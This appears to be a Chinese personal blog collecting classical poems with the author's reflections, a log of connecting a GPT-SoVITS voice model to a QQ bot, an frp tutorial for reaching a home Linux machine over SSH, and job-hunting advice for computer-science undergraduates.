鹧鸪天（正月十一日观灯） 姜夔

巷陌风光纵赏时。笼纱未出马先嘶。白头居士无呵殿，只有乘肩小女随。

花满市，月侵衣。少年情事老来悲。沙河塘上春寒浅，看了游人缓缓归。

看过一篇点评。说这阙词可能是唯一一阙描写了女儿坐在爸爸肩头的。那篇文章中还写，说姜夔半生潦倒，不知他的小女命运几何。我感觉不管以后如何，当坐在爸爸肩头赏灯的时候肯定是很幸福的。

咏史 李梦唐

高阁垂裳调鼎时，可怜天下有微词。

覆舟水是苍生泪，不到横流君不知。

拟行路难-其四 鲍照

泻水置平地，各自东西南北流。

人生亦有命，安能兴叹复坐愁！

酌酒以自宽，举杯断绝歌路难。

心非木石岂无感，吞声踯躅不敢言。

很喜欢最后这一句。今天（2023年6月6日）才知道鲍照久居建康，也就是南京，然后才发现江苏和山东竟然是邻居。

塞下曲-其二 王昌龄

饮马渡秋水，水寒风似刀。

平沙日未没，黯黯见临洮。

昔日长城战，咸言意气高。

黄尘足今古，白骨乱蓬蒿。

四月份记的一首诗，已经忘了为什么记了。

拟挽歌辞 陶渊明

有生必有死，早终非命促。

昨暮同为人，今旦在鬼录。

魂气散何之，枯形寄古木。

娇儿索父啼，良友抚我哭，

得失不复知，是非安能觉！

千秋万岁后，谁知荣与辱？

但恨在世时，饮酒不得足。

在昔无酒饮，今但湛空觞。

春醪生浮蚁，何时更能尝！

肴案盈我前，亲旧哭我旁。

欲语口无音，欲视眼无光。

昔在高唐寝，今宿荒草乡；

一朝出门去，归来夜未央。

荒草何茫茫，白杨亦萧萧。

严霜九月中，送我出远郊。

四面无人居，高坟自嶣峣。

马为仰天鸣，风为自萧条。

幽室一已闭，千年不复朝。

千年不复朝，贤达无奈何。

向来相送人，各自还其家。

亲戚或余悲，他人亦已歌。

死去何所道，托体同山阿。

之前读不懂，今年读懂了。

“得失不复知，是非安能觉”这句，让我想到“死去元知万事空”。他们都不信什么在天之灵，都认为死了就是死了。我也认同这种想法，但更希望能有在天之灵。

“春醪生浮蚁，何时更能尝”这句看了注释才知道自己完全读反了。说的是祭酒的时候，我理解为生的时候。

“亲戚或余悲，他人亦已歌”。听着很残酷，但我现在觉得：死后能让他人偶尔想起，已经是很了不起的事了

定风波-南海归赠王定国侍人寓娘 苏轼

王定国哥儿曰柔奴，姓宇文氏，眉目娟丽，善应对，家世住京师。定国南迁归，余问柔：“广南应是不好？”柔对曰：“此心安处，便是吾乡。”因为缀词云。

常羡人间琢玉郎，天教分付酥娘。尽道清歌传皓齿，风起，雪飞炎海变清凉。

万里归来颜愈少。微笑，笑时犹带岭梅香。试问岭南应不好，却道：此心安处是吾乡。

苏轼的两阙定风波我都很喜欢。

定风波 苏轼

三月七日，沙湖道中遇雨，雨具先去，同行皆狼狈，余独不觉。已而放晴，故作此。

莫听穿林打叶声，何妨吟啸且徐行。竹杖芒鞋轻胜马，谁怕，一蓑烟雨任平生。

料峭春风吹酒醒，微冷，山头斜照却相迎。回首向来萧瑟处，归去，也无风雨也无晴。

蓑这个意像是诗词里的常客了。

对这阙词一直有个印象，就是苏轼淋雨生病了，去看病又写了阙《游沙湖》。但是查了下才发现自己的记忆是错的。苏轼去看的是手肿，明显不是因为淋雨

朝中措·送刘仲原甫出守维扬 欧阳修

平山栏槛倚晴空。山色有无中。手种堂前垂柳，别来几度春风。

文章太守，挥毫万字，一饮千钟。行乐直须年少，尊前看取衰翁。

之前去扬州找攻略的时候翻到的。

汴河怀古 皮日休

尽道隋亡为此河，至今千里赖通波。

若无水殿龙舟事，共禹论功不较多。

在大运河博物馆看到的。现在想到皮日休在开元寺待过一段时间。影壁上好像还有他的名。

题龙阳县青草湖 唐珙

西风吹老洞庭波，一夜湘君白发多，

醉后不知天在水，满船清梦压星河。

老字用得很妙，之前没悟出来

最后一句我也很喜欢。我也蛮喜欢坐船的。

答武陵太守 王昌龄

仗剑行千里，微躯感一言。

曾为大梁客，不负信陵恩。

我比较喜欢前面两句，但却不太能做得到，反而是“微躯不敢言”。与古人比，可谓差远了

临江节士歌 李白

洞庭白波木叶稀，燕鸿始入吴云飞。

吴云寒，燕鸿苦。

风号沙宿潇湘浦，节士悲秋泪如雨。

白日当天心，照之可以事明主。

壮士愤，雄风生。

安得倚天剑，跨海斩长鲸。

可能是我水平有限，总觉得这首有种在高潮时却戛然而止的感觉

陇西行四首 陈陶

其一

汉主东封报太平，无人金阙议边兵。

纵饶夺得林胡塞，碛地桑麻种不生。

其二

誓扫匈奴不顾身，五千貂锦丧胡尘。

可怜无定河边骨，犹是春闺梦里人。

其三

陇戍三看塞草青，楼烦新替护羌兵。

同来死者伤离别，一夜孤魂哭旧营。

其四

黠虏生擒未有涯，黑山营阵识龙蛇。

自从贵主和亲后，一半胡风似汉家。

“可怜无定河边骨，犹是春闺梦里人”这句读来很有感觉。

秋词二首·其一 刘禹锡

自古逢秋悲寂寥，我言秋日胜春朝。

晴空一鹤排云上，便引诗情到碧霄。

这几天秋意已经很浓了。今天散步的时候看着一地的落叶莫名有些心情不好。

先是想到“伤春悲秋”，就觉得自己的想法也正常,一乐

然后又突然想到这首诗的第一句，心情顿时好了不少。

北风行 李白

烛龙栖寒门，光耀犹旦开。

日月照之何不及此？唯有北风号怒天上来。

燕山雪花大如席，片片吹落轩辕台。

幽州思妇十二月，停歌罢笑双蛾摧。

倚门望行人，念君长城苦寒良可哀。

别时提剑救边去，遗此虎文金鞞靫。

中有一双白羽剑，蜘蛛结网生尘埃。

箭空在，人今战死不复回。

不忍见此物，焚之已成灰。

黄河捧土尚可塞，北风雨雪恨难裁。

读过很多次了，但今天再读还是很有感觉

很喜欢“念君长城苦寒良可哀”这句，不整齐，但读起来很顺口。

我今天想起这首，回忆到第三句的时候没想起来接下来的，但整体的基调是记得的。就想：接下来要该怎么转到战争呢，看了觉得很惊喜，很佩服

“不忍见此物” 这种想法我还不懂，也不希望我懂

佳人 杜甫

绝代有佳人，幽居在空谷。

自云良家子，零落依草木。

关中昔丧乱，兄弟遭杀戮。

官高何足论，不得收骨肉。

世情恶衰歇，万事随转烛。

夫婿轻薄儿，新人美如玉。

合昏尚知时，鸳鸯不独宿。

但见新人笑，那闻旧人哭。

在山泉水清，出山泉水浊。

侍婢卖珠回，牵萝补茅屋。

摘花不插发，采柏动盈掬。

天寒翠袖薄，日暮倚修竹。

这篇让我想到《秦妇吟》，前者讲的是安史之乱，后者讲的黄巢之乱。但都有着共同点：战乱带给百姓的灾难。

“日暮倚修竹”让我想到文天祥的“风檐展书读，古道照颜色”。具体是为什么，我又说不清楚。场景？

泛海 王守仁

险夷原不滞胸中，何异浮云过太空？

夜静海涛三万里，月明飞锡下天风。

这首诗读起来很潇洒，是我所向往的。

创作背景也很有意思:

　这首诗作于明武宗正德元年（1506）。王守仁因仗义执言被贬为贵州龙场驿驿丞。刘瑾还派人对他进行暗杀。王守仁急中生智，做出投江自杀的假象，搭上了前往福建的商船。王守仁坐在船上，写下了这首诗。

随园诗话 卷一 袁枚

遥知此去栋梁材，无复清阴覆绿苔。

只恐月明秋叶冷，误他千岁鹤归来。

其实这首诗标题不是随园诗话,也不是袁枚写的。只是袁枚在随园诗话中记录了这首诗。原文如下：

江西某太守，将伐古树。有客题诗于树云：“遥知此去栋梁材，无复清阴覆绿苔。只恐月明秋夜冷，误他千岁鹤归来。”太守读之，怆然有感，乃停斧不伐。

第一次知道这首诗，是在中学的一本教材上。有的诗读一遍后就很难忘记，这首诗就是如此。我还记得那本教材上还有个插画，画的就是千岁鹤与树，很美。

我家门口就有棵树，活了得有快三十年了。去年被市政挖掉了。这棵树不是要去做栋梁材，而是因为市政规划而被迫移位。没有客去题诗，但那是一棵我看着长大的树，或者说看着我长大的树。

我怀念那棵树。

行行复行行 佚名

行行复行行，与君生别离。

相去万余里，各在天一涯。

道路阻且长，会面安可知？

胡马依北风，越鸟巢南枝。

相去日已远，衣带日已缓。

浮云蔽白日，游子不顾反。

思君令人老，岁月忽已晚。

弃捐勿复道，努力加餐饭。

“胡马依北风，越鸟巢南枝”很有画面感。

“努力加餐饭”有两个解释，一种是对游子说，让他在外好好吃饭，保重身体。另一种是在劝慰自己。但都是要好好吃饭。

旅行者1号上携带了一张铜质磁盘唱片,其中有一段是闽南语的问候，“太空朋友，你吃饱了吗，有空来我这坐”。很朴素的问候。我第一次听还吐槽，怎么都上天了，还是说一样的话。读到这首诗后才意思到，快两千年过去了也是这样。

“好好吃饭”背后蕴含的情感远比字面上来得要细腻。

章台柳·寄柳氏 韩翃

章台柳，章台柳，往日依依今在否？

纵使长条似旧垂，也应攀折他人手。

借物拟人实在是妙

时运(其一) 陶渊明

迈迈时运，穆穆良朝。

袭我春服，薄言东郊。

山涤馀霭，宇暖微霄。

有风自南，翼彼新苗。

“翼”字很妙

命子 陶渊明

悠悠我祖，爰自陶唐。

邈焉虞宾，历世重光。

御龙勤夏，豕韦翼商。

穆穆司徒，厥族以昌。

纷纷战国，漠漠衰周。

凤隐于林，幽人在丘。

逸虬绕云，奔鲸骇流。

天集有汉，眷予愍侯。

於赫愍侯，运当攀龙。

抚剑风迈，显兹武功。

书誓河山，启土开封。

亹亹丞相，允迪前踪。

浑浑长源，蔚蔚洪柯。

群川载导，众条载罗。

时有语默，运因隆窊。

在我中晋，业融长沙。

桓桓长沙，伊勋伊德。

天子畴我，专征南国。

功遂辞归，临宠不忒。

孰谓斯心，而近可得。

肃矣我祖，慎终如始。

直方二台，惠和千里。

於皇仁考，淡焉虚止。

寄迹风云，冥兹愠喜。

嗟余寡陋，瞻望弗及。

顾惭华鬓，负影只立。

三千之罪，无后为急。

我诚念哉，呱闻尔泣。

卜云嘉日，占亦良时。

名汝曰俨，字汝求思。

温恭朝夕，念兹在兹。

尚想孔伋，庶其企而！

历夜生子，遽而求火。

凡百有心，奚特于我！

既见其生，实欲其可。

人亦有言，斯情无假。

日居月诸，渐免于孩。

福不虚至，祸亦易来。

夙兴夜寐，愿尔斯才。

尔之不才，亦已焉哉。

前面一大段都是追忆陶姓的悠久历史和辉煌事迹。是这样提他父亲的，“於皇仁考，淡焉虚止。寄迹风云，冥兹愠喜。”

这诗我觉得最有趣的是最后一句，也是我特地记录于此的原因

在前面那么长的铺垫——家族历史，殷切期望之后，来了句“尔之不才，亦已焉哉”。鸡娃失败，那能怎么办，也就这样吧

观潮 苏轼

庐山烟雨浙江潮，未至千般恨不消。

到得还来别无事，庐山烟雨浙江潮。

首尾同句很少见

自遣 罗隐

得即高歌失即休，多愁多恨亦悠悠。

今朝有酒今朝醉，明日愁来明日愁。

能做到的有几个?

临江仙-夜归临皋 苏轼

夜饮东坡醒复醉，归来仿佛三更。家童鼻息已雷鸣。敲门都不应，依仗听江声。

长恨此身非我有，何时忘却营营。夜阑风静縠纹平。小舟从此逝，江海寄此生。

“江海寄余生”

很经常在b站刷到AI音声之类的视频，自己也爱看。某日心血来潮，决定自己试一试。

B站一搜，搜到了MyGO角色GPT-SoVITS语音模型分享和使用教程，整合包及模型下载链接，照着教程做。没一会就搞好了。整合包很方便，没遇上啥问题。

GPT-SoVITS的效果很惊艳，音色很像，甚至还能模仿参考音频的情绪。

我用的整合包提供了web界面，但我不够满足，想把它接入到我遗弃许久的qq bot中。

一搜，找到了zhaomaoniu/nonebot-plugin-gpt-sovits: ✨ NoneBot2 Plugin for GPT-SoVITS ✨。

原本以为接入也会很顺利，结果还是花了快一个下午的时间，在此记录下。

注意，我使用的电脑系统为win11，使用的是整合包及模型下载链接的Windows整合包

过程

1. 运行api_v2.py: runtime\python.exe api_v2.py
2. 这时候启动时的所默认加载的模型可能不是我们想要的模型，有两种方式能改:
   • 修改GPT_SoVITS/configs/tts_infer.yaml的t2s_weights_path和vits_weights_path
   • api_v2.py提供了相应的接口:set_gpt_weights和set_sovits_weights，拿postman发下请求就行。我托gpt帮忙写了个python脚本,如下:

   import requests
   from urllib.parse import quote
   
   def send_request(url, params):
       try:
           # 对参数进行URL编码，确保特殊字符不会被转义错误
           encoded_params = {key: quote(value, safe=':/') for key, value in params.items()}
   
           # 发送GET请求
           response = requests.get(url, params=encoded_params)
   
           # 检查HTTP响应状态码
           if response.status_code == 200:
               print("成功:", response.text)
           else:
               print(f"失败: {response.status_code}, 错误信息: {response.text}")
   
       except requests.exceptions.RequestException as e:
           print(f"请求发送失败: {e}")
   
   # 设置 GPT 模型权重
   gpt_weights_url = "http://127.0.0.1:9880/set_gpt_weights"
   gpt_weights_params = {
       "weights_path": "GPT_weights/tomori1-e20.ckpt"
   }
   
   # 设置 Sovits 模型权重
   sovits_weights_url = "http://127.0.0.1:9880/set_sovits_weights"
   sovits_weights_params = {
       "weights_path": "SoVITS_weights/tomori1_e12_s2664.pth"
   }
   
   # 发送请求
   send_request(gpt_weights_url, gpt_weights_params)
   send_request(sovits_weights_url, sovits_weights_params)
   

3. 接下来就是配置zhaomaoniu/nonebot-plugin-gpt-sovits了，文档写得蛮清楚的，这里不过多赘述。

踩坑

• zhaomaoniu/nonebot-plugin-gpt-sovits文档里需要填GPT_SOVITS_EMOTION_MAP，也给了示例，但我不知道怎么在.env里填不是字符串的东西。于是找到了.venv/Lib/site-packages/nonebot_plugin_gpt_sovits/config.py,在那里改，比如我是改成了这样:

  class Config(pydantic.BaseModel):
      gpt_sovits_api_base_url: Optional[str] = "http://127.0.0.1:9880"
      gpt_sovits_api_v2: Optional[bool] = True
      gpt_sovits_command: Optional[str] = "羊姐说话"
      gpt_sovits_convert_to_silk: Optional[bool] = False
      gpt_sovits_emotion_map: Optional[List[Emotion]] = [
          {
              "name": "平静",
              "sentences": [
                  {"text": "凄く苦そうだけど……美味しいじゃあ、どうして……", "language": "ja", "path": "D:\\Project\\NoneBot\\Hesap\\tomori.wav"},
              ]
          }
      ]
      gpt_sovits_args: Optional[dict] = {}
  

• refer_wav_path = sentence.path得改成refer_wav_path = sentence["path"]
• 路径问题，python的\是转义符，所以得改成\\
• 绕远路
  1. bot能回复我的命令了，但生成出来的声音只是吹气，或者是简单的一个词。虽然音色上有点像了。
  2. 怀疑是爆显存，因为我web没关，但排查后发现不是。
  3. 怀疑是api版本的问题，默认用的是v2。尝试切回v1,结果发现用v1版的更麻烦，于是还是老老实实用v2，也就是jianchang512/gptsovits-api: 适用于 GPT-SoVITS 的api调用接口,这里的文档相对来说更详细。
  4. 尝试debugzhaomaoniu/nonebot-plugin-gpt-sovits和RVC-Boss/GPT-SoVITS: 1 min voice data can also be used to train a good TTS model! (few shot voice cloning)，其实就是看几个参数变量能不能对得上,没啥结果。
  5. 用postman发了下请求，意外地没问题。然后就发现自己在配置文件的参考音频的路径那少打了一个\，:(

画饼

接入llm

我这个bot主要是想让她来rp高松灯，或者说是rp羊姐。那现在她已经能够发声了，但每次发声还是靠我们给她手动输入的指令。能不能让她接入llm，能比较智能的根据上下文，主动的出来说几句呢？

我在插件商店搜到过几个llm插件，但不少都似乎不可用，也许只是因为版本迭代更新不及时导致的。后面可以尝试下。

长文本

接下来就是要解决长文本的问题了。最理想的情况是，我丢一本书进去，直接给我吐生成好的音频。

• 用Python代码调用GPT-SoVITS | 自动老李的博客
• 我改进了一下文本切分方式，这似乎能极大改善长文本生成的质量。 · Issue #1256 · RVC-Boss/GPT-SoVITS
• jianchang512/gptsovits-api: 适用于 GPT-SoVITS 的api调用接口
• GPT-SoVITS一键配音集成包推出，srt字幕一键配音，可音频转字幕 这个把我想做的做好了，甚至功能还有溢出。

给我的博客也接入

高松灯的一大技能是念诗，我的博客有摘抄些诗词，可以让她念念。

本文章使用的版本为frp_0.61.0_linux_amd64

工作原理

frp 主要由两个组件组成：客户端(frpc) 和 服务端(frps)。通常情况下，服务端部署在具有公网 IP 地址的机器上，而客户端部署在需要穿透的内网服务所在的机器上。

由于内网服务缺乏公网 IP 地址，因此无法直接被非局域网内的用户访问。用户通过访问服务端的 frps，frp 负责根据请求的端口或其他信息将请求路由到相应的内网机器，从而实现通信。

需求

我有一台配有公网ip的服务器，以及两台linux电脑，分别称为电脑a和电脑b。

我希望使用电脑a，在非局域网环境下，也能使用ssh访问电脑b。

服务端配置

• 假定我的服务器的ip为6.6.6.6
• 安装目录位于: /home/ubuntu/frp/frp_0.61.0_linux_amd64
• frps.toml文件为服务端的配置文件,内容如下

  #服务绑定的IP与端口
  bindAddr = "0.0.0.0"
  bindPort = 7000
  #web dashboard配置
  webServer.addr = "0.0.0.0"
  webServer.port = 7001
  webServer.user = "admin" # change
  webServer.password = "admin" # change
  #启用prometheus监控指标
  enablePrometheus = true
  #token权限验证，需与客户端配置一致
  auth.method = "token"
  auth.token = "simpletoken"
  #日志配置
  log.to = "/home/ubuntu/frp/frp_0.61.0_linux_amd64/frps/logs/frps.log"
  log.level = "info"
  log.maxDays = 3
  

启动服务端

• 命令行方式启动:

  ./frps -c ./frps.toml

• 使用systemd方式启动

  1. 配置文件/etc/systemd/system/frps.service,具体内容如下

  [Unit]
  # 服务名称，可自定义
  Description = frp server
  After = network.target syslog.target
  Wants = network.target
  
  [Service]
  Type = simple
  # 启动frps的命令，需修改为您的frps的安装路径
  ExecStart = /home/ubuntu/frp/frp_0.61.0_linux_amd64/frps -c /home/ubuntu/frp/frp_0.61.0_linux_amd64/frps.toml
  
  [Install]
  WantedBy = multi-user.target
  

  2. 启动服务
     • systemctl daemon-reload
     • systemctl start frps

客户端配置

• 我将电脑b作为客户端
• 安装目录位于: /home/ubuntu/Desktop/frp_0.61.0_linux_amd64
• frpc.toml文件为服务端的配置文件,内容如下

  serverAddr = "6.6.6.6"
  serverPort = 7000 #要和frps.toml的bindPort一致
  auth.method = "token"
  auth.token = "simpleToken"
  
  #日志配置
  log.to = "/home/ubuntu/Desktop/frp_0.61.0_linux_amd64/logs/frpc.log"
  log.level = "info"
  log.maxDays = 3
  
  [[proxies]]
  name = "ssh"
  type = "tcp"
  localIP = "127.0.0.1"
  localPort = 22
  remotePort = 6000
  

启动客户端

• 命令行方式启动:

  ./frpc -c ./frpc.toml

• 使用systemd方式启动

  1. 配置文件/etc/systemd/system/frpc.service,具体内容如下

  [Unit]
  Description = frp client
  After = network.target syslog.target
  Wants = network.target 
  
  [Service]
  Type = simple
  # 启动frps的命令，需修改为您的frpc的安装路径
  ExecStart = /home/ubuntu/Desktop/frp_0.61.0_linux_amd64/frpc -c /home/ubuntu/Desktop/frp_0.61.0_linux_amd64/frpc.toml
  
  [Install] 
  WantedBy = multi-user.target
  

  2. 启动服务
     • systemctl daemon-reload
     • systemctl start frpc

访问

• 命令: ssh -o Port=6000 ubuntu@6.6.6.6 -i ~/my_key.pem
• 注释
  • 这里的Port为frpc.toml中设置的remotePort
  • -i ~/my_key.pem ，我是用来ssh连接6.6.6.6的
  • 这里的ubuntu为电脑b的用户名
  • 登录上后如果需要密码,那尝试输入电脑b的密码
• 可以这样配置~/.ssh/config

  Host 电脑b
    HostName 6.6.6.6
    Port 6000
    User ubuntu
    IdentityFile ~/.ssh/my_key.pem
  

参考

• fatedier/frp: A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet.
• 文档 | frp
• 请问frpc里面可以设置多个server_addr吗？ · Issue #1607 · fatedier/frp
• 使用Frp配置内网访问（穿透） - hovin - 博客园
• 使用 frp 访问群晖 NAS - Power’s Wiki

某日参加活动，冗长无趣，回想过去的一年，内心百感交集，于是写了本科就业二三事【东南大学吧】_百度贴吧。

本篇内容是对贴吧内容的再排版，面向的群体主要是有意愿本科就业的计算机类学生。

缘起

明天就是十一月了，我的秋招也大概率就这样结束了，回首过去一年，自己有焦虑，有焦虑，还是焦虑。

博主本身也不是什么嘎嘎收割offer的技术大佬，但这一年艰难求职路上最遗憾的就是没有一位已经参加工作，或者说有相关经验的大哥大姐来传授经验，指明下方向，只能靠自己和网上搜集到的信息，一步一坑地走了过来。

于是抱着既然自己淋过雨，那就试着帮后来人撑个伞的想法，就用这贴谈下自己微不足道的经验和感想。

有哪些就业方向

一般本科计算机毕业求职有几个方向:前端开发和后端开发,再然后就是测试和嵌入式。单从我个人了解，东南本科课程接触嵌入式的机会不多，而测试我也不太熟。

于是重点谈谈前端和后端开发。

前端开发

我本人选择了前端开发。一个基本的学习路线大概是 先学html，js，css三件套，然后选择个框架vue或者react继续学。

面试的时候其实也大概率就围绕着js，css来问，再问点框架就差不多了。

但要注意的是，我参加的面试中，尤其大厂，很喜欢问计网。而博主这届又没开正儿八经的计网必修课，导致前期每次被问到都很被动。

后端开发

国内后端开发主要的技术栈以Java为主，有部分go或者Node.js，但只是少数。当学完SpringBoot后，再补补MySQL，Redis，也就可以试试投简历找实习了。

前后端的选择

再来谈谈前后端的选择。

我个人其实一开始先学的后端。跟着Spring Boot开发 - Java教程 - 廖雪峰的官方网站学了SpringBoot后，自己也写过一个小项目。

但想更进一步的时候发现就要到SpringCloud，微服务之类的针对高并发的设计。而我又缺乏实际的场景，虽然可以用脚本来模拟，但终究觉得有点无稽之谈的感觉。于是转而学前端。

前端对我来说更为直接，性能优化对我来说也更能有的放矢。整体来讲实时成就感更高些。于是就往这条路上走了。

以上是按我个人兴趣来谈的。那如果按我所观察到的就业市场的情况来比较的话。

国内中小厂对前端的态度普遍是锦上添花，简单的页面干脆就用低代码，或者让后端一并负责。所以前端的岗位比后端要少，而且是少很多。

但大厂相对来说前端需求还是比较大。而且由于偏见和发展较晚，前端对于学历的要求没有后端那么严苛。

对于车大毕业的本科生，至少国内大厂的前端岗位，基本上都是投了简历大概率就能拿个面试。这点也是个信息差。

两个关键的时间段

秋招

秋招往年有个说法，叫金九银十，但今年来说相对更卷。八月份就有公司开提前批，厉害的大佬甚至能做到九月初就能结束秋招。

而秋招面向的人群主要为当时正在上大四，也就是次年毕业的学生。

相对于春招来说，秋招岗位更多（看到有说法甚至是十倍），竞争更小（因为等春招会有考研考公失败的人群加入），而且相对来说没那么焦虑（至少还不是马上要毕业）。

所以特别建议有意向本科就业的同学把握好秋招。

春招

春招则是每年的三月份开始，一直到四五月份。楼主还没真正参与过，了解不多。

但每年的春招除了面向当年的毕业生，还有一个很重要的用途。那就是招暑期实习生。暑期实习主要面向的就是上半年大三下的同学。

一段暑期实习的重要性很高。它直接关系于你能否过简历初筛，还能帮助你在面试中有东西能被面试官问。就我个人经验来说，面试官其实也懒得问八股，但前提是你简历上写的项目，实习他觉得有意义，能问。

不过有一点很操蛋的是，暑期实习时间一般是每年的六到九月。那九月的时候你就要面临到底是能不能转正，还是专心准备秋招的选择。

实习

几段实习比较好

实习经历肯定是韩信点兵——多多益善，但每段的时长要尽量保证在三个月以上。

一般秋招的时候有一段实习已经够门槛了。而且根据我自身的经验，我们学校大三上的课多得除非你不上，或者拿短短的一两个月寒暑假去实习，那很难在大三上腾出时间去实习。但大三下的课能少不少，机会也比较多。

所以我个人感觉一个比较理想的情况是: 大三下的三四五月做第一段实习，小厂就行，当入门砖；然后六月份开始第二段实习，也就是六七八三月做第二段实习，这时候有前一段实习的经验，那很可能可以进中厂或者大厂。九月份就看是否能够转正，不行就拿这两段实习去秋招，也很够了。

当然，也能看到有人大二就开始自习。但那就不是普通人了。

怎么找实习

东南的计软智专业都对实习有时间要求。计科和人智要求一个月，软件则要求三到六个月。

学校会在大三下帮助联系一些企业，但实际上大部分企业都还是需要进一步面试，不是点击就送。而且学校联系到的企业和给的岗位数量，似乎一年比一年少（仅代表我自己对比去年和今年后的感受）。因此大部分人其实还得靠自己。

那靠自己该怎么找实习。我更推荐的是去官网投，每年春秋招企业都会开放一批实习岗位，还有几乎全年都有的日常实习。

有一点信息差在于: 每年过年前的那段时间，企业会比较缺人，找实习会比较好找。

另外还有两个我自己用得比较多的平台。

一个是牛客网，不少找工作，尤其是找互联网相关工作的都会在上面吐槽，分享面经。大家闲得没事干的话可以刷刷牛客网，好增加点焦虑感。牛客上也会有些hr，你把简历完善后，可以等hr来主动找你。

再然后就是Boss直聘，但我用的不算多，因为公司良莠不齐。而且大家真用的话就会发现上面最多的是华为的hr。

有吧友推荐实习僧，可供参考。

不过我自己的第一份实习就是在Boss上找的,意外的是一家很棒的公司。在那家公司的实习经历让我提升了很多。

但还是建议各位找工作的时候擦亮眼镜，小心诈骗。

双选会

学校每年的话会组织两场大型的双选会。三月份一场，九月份一场。

我去过去年的秋招和上半年的春招双选会，没投简历，纯感受氛围。

今年的秋招我双选会时间我记得特别清楚，是九月二十一日。但好巧不巧，它和MyGo!!!!!上海演唱会撞了。

所以我想都没想就去看演唱会了，好在后来也不后悔。

双选会给我的感觉就是，对于计算机类的帮助不大。因为大部分互联网公司还是靠网上投简历。

再者就是我爬了今年秋招双选会的职位列表，一搜，前端好像就三四个，这去了也意义不大,呵呵。

名词解释

• 意向: 指录取意向书，代表你通过了所有面试，并且从池子里泡出来，企业愿意招你，但具体待遇还得等等。大部分公司不会去毁意向。
• offer: 指录用通知函，也就是offer letter，这时候就会带有薪资，并要求你在规定时间内寄出三方，逾期失效。
• 感谢信: 讲究点的公司会在招聘流程终止后给你发封邮件说流程中止。
• 泡池子: 这是今年特别普遍的现象。指的是当你通过了所有面试后进入到的录用评估环节。通过面试的人会有复数个，公司根据面评，学历背景等进行排序。排序高的优先联系。但往往排序高的人手头的offer也比较多，所以就会轮到下一位，甚至一直往后轮。有些公司甚至能出现被鸽穿的情况(池子里的一个都不接offer)。其实这是个两害的情况: 面试者因为拿不到确切的意向，只能多面。而公司因为不能确定求职者是否愿意来，于是也只能多面，然后多捞人进池子。泡池子的流行对双方都没有好处。
• a薪资: a是argue的缩写。特别优秀的求职者能有这个环节。hr一般会询问目标薪资，这时候如若你手头上有多个offer可供选择，而且公司认可你的表现，那么你就可以以此为基础，去尝试争取更高的薪资。祝读者们都有机会能够a薪资。

一次求职的标准流程

流程

1. 投简历
2. 简历筛选过后，会通知做笔试和测评（不一定有）
3. 两到三轮面试（技术或hr,不同公司面试轮数，类型不同）
4. 泡池子(不一定有)
5. 意向(不一定有，有的公司是直接给你最终带有薪资待遇的offer)
6. oc

投简历到底是要多投还是少投

我找暑期实习的时候还挑三拣四，看了不少，但没投几家，结果也没几家面试。

秋招的时候则是自己投太晚了，主要是两方面原因:

1. 自己拖延，有点畏惧秋招。
2. 实习项目还有部分没完成。

于是拖到了九月下旬才投。

刚开始还想着一波一波地投 到后面急了，集中把能投的都投了遍，总共投了六十来家。

也不知道是不是投得晚还碰巧被我赶上了。因为十月份可能公司都怕被鸽，于是约面的也挺多。

不过代价就是国庆后的二十来天都处于高负荷的笔试和面试，大家不要学我。

还是那句话: 趁早准备，趁早投递，趁早oc。

技术面试

大致流程

1. 自我介绍。
2. 看面试官对你项目感不感兴趣，感兴趣就让你对项目进行介绍，进而问项目细节（这里就体现了一个好的项目或者一段有价值的实习经历的重要性）
3. 问八股。有些面试会类似于名词解释，他问你答，然后就下一题。但有些厉害的面试官会根据你的回答做进一步深挖，这就很考验对知识的理解
4. 手撕。看公司了，有的有。手撕一般不会太难，力扣easy差不多，最多就middle，出hard一般就代表着劝退，人不想要你。
5. 反问。

面试前能做的准备

面试前我一般喜欢搜面经，关键词就是公司+岗位+第几次面试，如果能知道部门那就更好了。牛客上或谷歌上搜，大概率都会有。

搜面经的一大原因是，大部分面试官其实出题，尤其是手撕题都会从题库里去取。而一家公司或者一个部门准备的题库其实是有限的，那么就很容易考察面经中出现过的题目。

再退一步说，出现在面经的题，其实相当于经过了面试官和面试者的两重筛选。面试官觉得有意义，于是出这道题，面试者被测后留有印象，于是记录了下来。

总而言之，如果觉得背八股范围太广不好准备。那么看面经总是没错的。

面试后该做的事

我的一个习惯是，面试后稍微休息下，起来走走。然后就写面经。我之前倒也尝试过录音，但发现自己有种羞耻，不太愿意去听自己的录音，拖久了自己也犯懒。于是还不如当场记录。

记面经的好处在于，你自己后面可以参考，可以复盘，看是哪些地方答的不好。

尤其是项目。因为简历上的项目就那些，那么面试官针对项目所问的内容和角度其实也是有限。那么你就可以通过这一次次的被拷问中去巩固，加深你对项目的理解。

另一个值得注意的是，对于被问到的并且你没答好的八股或者手撕，那么最好当天就给巩固好。

我自己就吃过这方面的亏。因为我曾不止一次地被问到“https的具体原理”，前两次我都觉得只是凑巧，没放心上,或者是觉得后面不会再被问了。直到第三次被问到我才去恶补了下，然后才发现，这玩意其实我差不多会啊，但我第一次没说上来，再然后两次都因为惯性就直接说不会了。这就错失了几次本来可能有好结果的面试。

八股

为什么要记八股

我之前有点认为记八股是一种应试行为，有点抵触。并且认为这些知识我真正需要用到的时候网上一查就有了。GPT记得比我好多了。

但有天晚上我排查EuDs63/postkid出现的一个问题,为了完全搞懂，我就自发地去搜React的生命周期。

这时候我意识到八股的那些问题，其实不少是蛮常见的问题。要写好代码确实得去知道。八股确实有其意义，它是日常工作中需要掌握的知识的浓缩，当我遇到一些比较刁钻的bug无从下手，那常常是我对于该方面的某个八股知识点一无所知。

于是我就和八股和解了，该记还是得记。

被问到八股怎么答

看面试官视角下的技术面——为什么要“背八股”_牛客网,我进一步认识到如果被问八股，要学会自己主动去延伸，进而在一定程度上把握面试的主动权。

面试时被问到八股时，可以简单分为两种情况。

• 一种就是你会，那首要的就是清晰的回答面试官的问题，然后再适当的引申。尤其是如果你有实际遇到过的经历，那就自行扩展，这将是一个挺好的加分点。但记得不能太散，而且最好最后还要兜回主题上来，不然就显得你在乱扯。
• 第二种就是你不会。我一般这种情况会有两种处理方式。两种的开头都是直接说我不会。接下来看面试官的要求，如果面试官想让我再多说点，我会尝试引援相关知识，说下自己的推测。如果面试官给出下一题，那就下一题。

八股问答的意义

八股问答，回答上来不是加分项。因为现在这种求职形势下，一位面试官在招聘期间所有面试的应聘者肯定不在少数。而八股又是相对来说比较好准备的。那也就是说，只要不是太偏，那大部分人都能答上来。那这时候的加分项就在你能不能有自己的思考，并能清晰明了的表达出来。

